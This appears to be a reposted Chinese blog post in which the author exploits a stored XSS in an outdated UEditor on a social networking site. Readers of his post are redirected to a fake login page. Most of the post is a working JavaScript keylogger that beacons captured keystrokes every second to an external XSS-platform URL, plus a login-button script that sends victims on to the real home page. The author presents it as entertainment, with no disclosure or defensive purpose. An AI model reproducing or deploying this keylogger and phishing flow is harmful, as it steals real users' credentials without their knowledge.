zoukankan      html  css  js  c++  java
  • 某社交网站XSS小计

    一、简单发现

    网站模样大致如下

    编辑器是UEditor,这么低版本的,有BUG很正常。

    这次突发奇想。玩玩XSS+CSRF。

    弹出提示。

    直接document.href 页面跳转。

    只要有人点击我发的文章,直接跳转到我做的伪装的页面。这个页面就是首页登陆页面。粗心的人万一输入账号密码了呢?

    二、思路实现

    思路:如果我有主机 就 直接写个POST提交到我写的方法,这样是最完美的,奈何比较穷没有主机,就使用XSS平台。构造一个记录键盘记录的功能。在用户输入账号密码的时候进行记录。登录按钮做跳转功能,跳回到原来登录成功后的界面。

    (function(){
            var logger = "";
            keyDown = function(e)
            {
                    var e=e||event;
                    var currKey=e.keyCode||e.which||e.charCode;
                    if((currKey>7&&currKey<32)||(currKey>31&&currKey<47))
                    {
                       switch(currKey)
                  {
                            case 8: keyName = "[退格]"; break;
                            case 9: keyName = "[制表]"; break;
                            case 13:keyName = "[回车]"; break;
                            //case 16:keyName = "[shift]"; break;
                            case 17:keyName = "[Ctrl]"; break;
                            case 18:keyName = "[Alt]"; break;
                            case 20:keyName = "[大小写]"; break;
                            case 32:keyName = "[空格]"; break;
                            case 33:keyName = "[PageUp]";   break;
                            case 34:keyName = "[PageDown]";   break;
                            case 35:keyName = "[End]";   break;
                            case 36:keyName = "[Home]";   break;
                            case 37:keyName = "[方向键左]";   break;
                            case 38:keyName = "[方向键上]";   break;
                            case 39:keyName = "[方向键右]";   break;
                            case 40:keyName = "[方向键下]";   break;
                            case 46:keyName = "[删除]";   break;
                            default:keyName = "";    break;
                       }
                       logger += keyName;
                    }
            }
            keyPress = function(e)
            {
                    var currKey=0,CapsLock=0,e=e||event;
                    currKey=e.keyCode||e.which||e.charCode;
                    CapsLock=currKey>=65&&currKey<=90;
                    switch(currKey)
                    {
                           //屏蔽了退格、制表、回车、空格、方向键、删除键等
                           case 8: case 9:case 13:case 16:case 17:case 18:case 20:
                                        case 32: case 33: case 34: case 35: case 36: case 37:case 38:
                                        case 39:case 40:case 46:keyName = "";break;
                           default:keyName = String.fromCharCode(currKey); break;
                    }
                    logger += keyName;
            }
            sendChar = function()
            {
                    if (!logger) return;
                    (new Image).src="https://xsspt.com/index.php?do=api&id=iNzfZA&char=" + logger; //服务端地址
                    logger = "";
            }
            formSubmit = function()
            {
                    sendChar();
            }
            document.onkeydown = keyDown;
            document.onkeypress = keyPress;
            document.onsubmit = formSubmit;
            setInterval(sendChar, 1000); //设置定时器
    })();
    
    
    
            $('.verifychange').click(function(){
                var date = new Date();
                var ttime = date.getTime();
                var url ="http://sns.oooooo.com/public/captcha.php";
                $('#verifyimg').attr('src',url+'?'+ttime);
            });
    
            $('#btn_login').click(function(){
    
                var username = $('#username');
                var password = $('#password');
                var domain = $('#domain');
                var verify = $('#verify');
                
                if($(this).hasClass('disabled')) return false;
    
                if(verify.val()=='')
                {
                    verify.addClass('error').delay(100).focus();
                    return false;
                }
    
                if(username.val()=='')
                {
                    username.addClass('error').delay(100).focus();
                    return false;
                }
                
                if(password.val()=='')
                {
                    password.addClass('error').delay(100).focus();
                    return false;
                }
                
    
                var params = {
                    domain        : domain.val(),
                    username    : username.val(),
                    password    : password.val(),
                    verify        : verify.val()
                };
    
                enabled_form(false);
    
    
                //$('#status').attr('class','loading').addClass('loading').html('正在进行信息验证').show();
                document.location="http://sns.oooooo.com/home";
                
            });
    
            $('#username').keyup(function(e){
                $(this).removeClass('error');
                if(e.keyCode==13)
                {
                    $('#password').focus();
                }
            });
            
            $('#password').keyup(function(e){
                $(this).removeClass('error');
                if(e.keyCode==13)
                {
                    $('#btn_login').click();
                }
            });
            
            function enabled_form(flag)
            {
                if(flag)
                {
                    $('#username,#password,#btn_login').removeClass('disabled').prop('disabled',false);
                    $('#btngroup').show();
                    $('#username').focus();
                    $('#status').hide();
                }
                else
                {
                    $('#username,#password,#btn_login').addClass('disabled').prop('disabled',true);
                    $('#btngroup').hide();
                    $('#status').show();
                }
            }
    
            
            //抖动表单
            var form = $('#form_login');
            function shake_form()
            {
                var margin = 10;
                form.animate({right:-margin},50,function(){
                    form.animate({right:margin},50,function(){
                        form.animate({right:-margin},50,function(){
                            form.animate({right:margin},50,function(){
                                form.animate({right:0},20);
                            });
                        });
                    });
                });
            }
            
            //animate init
                    if($.browser.msie && $.browser.version < '9.0')
                    {
               form.show();
                    }
            else
            {
                form.delay(1000).fadeIn(500,function(){
                $('#username').focus();
                });
            }

    上面是JS脚本,键盘记录的功能。

    看一下记录。

    成功发送到XSS平台。

    毫无难度,纯属娱乐。

  • 相关阅读:
    【数据库】python访问mysql
    给vs2015添加EF
    SQL Sever 2008 R2版本添加Northwin数据库错误解决
    c#进程、定时器初步学习
    联动下拉框显示省市县
    第一次网站初尝试爬的坑
    关闭程序主窗体程序不结束,主要应用于登录界面
    基于三层架构的增删改查Get知识点
    python中的异常捕获怎么用?
    VS版本下载
  • 原文地址:https://www.cnblogs.com/xxxyz/p/11420680.html
Copyright © 2011-2022 走看看